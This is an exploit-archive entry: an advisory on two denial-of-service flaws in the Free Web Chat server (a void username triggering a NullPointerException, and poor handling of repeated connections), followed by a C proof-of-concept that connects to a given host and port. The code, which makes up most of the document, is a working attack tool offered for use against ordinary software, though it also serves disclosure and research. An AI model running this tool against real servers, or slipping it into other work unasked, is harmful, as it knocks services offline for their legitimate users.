Free Web Chat Initial Release - UserManager.java Null Pointer Denial of Service

// source: https://www.securityfocus.com/bid/10863/info

Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:

The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.

A remote attacker may exploit this vulnerability to deny service to legitimate users.

The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.

A remote attacker may exploit this vulnerability to deny service to legitimate users.

/*
     Free Web Chat (Initial Release)- DoS - Proof Of Concept
     Coded by: Donato Ferrante
*/



#include <stdio.h>
#include <stdlib.h>

#ifdef WIN32
    #include <windows.h>
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define VERSION "0.1"





void FreeWebChatPoC( char *host, int port );
u_long resolv(char *host);




int main(int argc, char *argv[]) {

   fprintf(
        stdout,
        "\n\nFree Web Chat - DoS - Proof Of Concept\n"
        "Version: %s\n\n"
        "coded by: Donato Ferrante\n"
        "e-mail:   fdonato@autistici.org\n"
        "web:      www.autistici.org/fdonato\n\n"
        , VERSION
        );

  if(argc <= 2){
     fprintf(stdout, "Usage: <host> <port>");
     exit(-1);
  }

int port = atoi(argv[2]);

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    FreeWebChatPoC( argv[1], port );

    return(0);
}







   void FreeWebChatPoC( char *host, int port ){

    struct sockaddr_in peer;

    int sd,
        err;

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;


    char *buff = (char *)malloc(513);

    fprintf(
            stdout,
            "\nConnecting to: %s:%hu\n\n",
            inet_ntoa(peer.sin_addr),
            port
          );

      sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           if(sd < 0){
                perror("Error");
                exit(-1);
           }

      err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
           if(err < 0){
                perror("Error");
                exit(-1);
           }

      err = recv(sd, buff, 512, 0);
           if(err < 0){
                perror("Error");
                exit(-1);
           }

#ifdef WIN32
      closesocket(sd);
#else
      close(sd);
#endif

    free(buff);

    fprintf(
          stdout,
          "\nFree_Web_Chat - DoS - Proof_Of_Concept terminated.\n\n"
    );

}




u_long resolv(char *host) {
    struct      hostent *hp;
    u_long      host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }

    return(host_ip);
}